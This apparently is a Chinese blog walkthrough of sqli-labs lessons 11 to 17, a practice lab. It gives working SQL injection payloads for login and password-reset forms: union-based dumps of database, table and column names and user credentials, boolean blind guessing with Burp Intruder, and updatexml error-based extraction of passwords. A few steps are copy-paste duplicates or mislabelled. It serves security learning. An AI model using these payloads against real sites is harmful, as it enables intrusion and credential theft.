sqli-labs Less-11~17

  • Less-11:
  • 首先正常登录发现会回显登录名和密码

再利用burp抓包,重新发送表单数据.得到post data

将post data 复制到hackbar进行后续操作更为方便.

  • 判断是否存在注入

加一个’,发现页面有错误回显,可以确定存在注入漏洞.

  • 判断字段数

字段数为2.

  • 判断回显位置

已经知道有两个字段,且其会回显1,2

  • 查库

  • 查表

  • 查列

  • 查字段

 

  • Less-12:
  • 同样的还是先利用burp抓包得到post data

  • 判断是否存在注入

加一个”) #后返回正确,即可知道存在注入漏洞

  • 后续步骤与上一关相似.

以下仅贴post data中的内容:

查字段数: uname=admin") order by 2#&passwd=admin&submit=Submit

查回显: uname=1213") union select 1,2 #&passwd=admin&submit=Submit

查库: uname=1213") union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit

查表: uname=1213") union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 #&passwd=admin&submit=Submit

查列: uname=1213") union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin&submit=Submit

查字段: uname=1213") union select 1,group_concat(concat_ws('~',username,password)) from security.users #&passwd=admin&submit=Submit

 

  • Less-13:
  • 判断注入

此关无回显,只有蓝色字母提示正确.可以看出是bool型盲注。

  • 查字段数

  • 查数据库名字符数

  • 猜解数据库名(先猜第一个,利用>,<去试)

打开burp代理:

打开burp->点击执行:

发送到intruder进行爆破

可以看出此时数据库的第一个字符为s.

后续步骤不再赘述.

  • 猜解表名:

uname=admin') and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

  • 猜解列名:

uname=admin') and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

  • 猜解字段名:

uname=admin') and left((select concat_ws(0x7e,username,password) from security.users limit 0,1),1)>'a' #&passwd=admin&submit=Submit

 

  • Less-14:
  • 判断注入

  • 查字段数

uname=admin" order by 2#&passwd=admin&submit=Submit

后续内容与上一关基本相同.

  • 查询数据库名字符数:

uname=admin" and length(database())>1 #&passwd=admin&submit=Submit

  • 查库:

uname=admin" and left(database(),1)>'a' #&passwd=admin&submit=Submit

  • 查表:

uname=admin" and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

  • 查列:

uname=admin" and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

  • 查字段:

uname=admin" and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

 

  • Less-15:与上两关一样,均为盲注

判断注入: uname=admin' #&passwd=admin&submit=Submit

查字段数: uname=admin' order by 2#&passwd=admin&submit=Submit

查数据库名字符数: uname=admin' and length(database())>1 #&passwd=admin&submit=Submit

查库: uname=admin' and left(database(),1)>'a' #&passwd=admin&submit=Submit(当前数据库)

或uname=admin' and left((select schema_name from information_schema.schemata limit 0,1),1)>'a' #&passwd=admin&submit=Submit(所有数据库)

查表: uname=admin' and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

查列: uname=admin' and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit

查字段: uname=admin' and left((select concat_ws(0x7e,username,password) from security.users limit 0,1),1)='D' #&passwd=admin&submit=Submit

同样的可以使用burpsuite去爆破.

 

  • Less-16:

id=(“admin”):与之前几关的差别不大,采用 ”) # 闭合sql语句即可.

 

  • 补充知识:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

 select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

 

  • Less-17:
  • 首先,我们知道这是一个修改密码的页面,则我们需要在知道username的前提下,去进行注入。

且其对username的值进行了转义,因此我们转向password参数,发现存在注入漏洞。

因此我们可以利用上面讲到的updatexml函数进行渗透。

  • 查库:

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit

  • 查表

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit

  • 查列

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submita

  • 查字段

首先试了一下直接查:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from security.users limit 1,1)),1)#&submit=Submita

发现报错信息。试着加一层select。

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from security.users limit 1,1))),1)#&submit=Submita

还是报错,但是提示需要一个别名。

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from security.users limit 1,1)0pts)),1)#&submit=Submita

 

成功获得密码。

 

参考视频链接:https://www.bilibili.com/video/BV1yJ411g7hh?p=12&spm_id_from=pageDriver

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值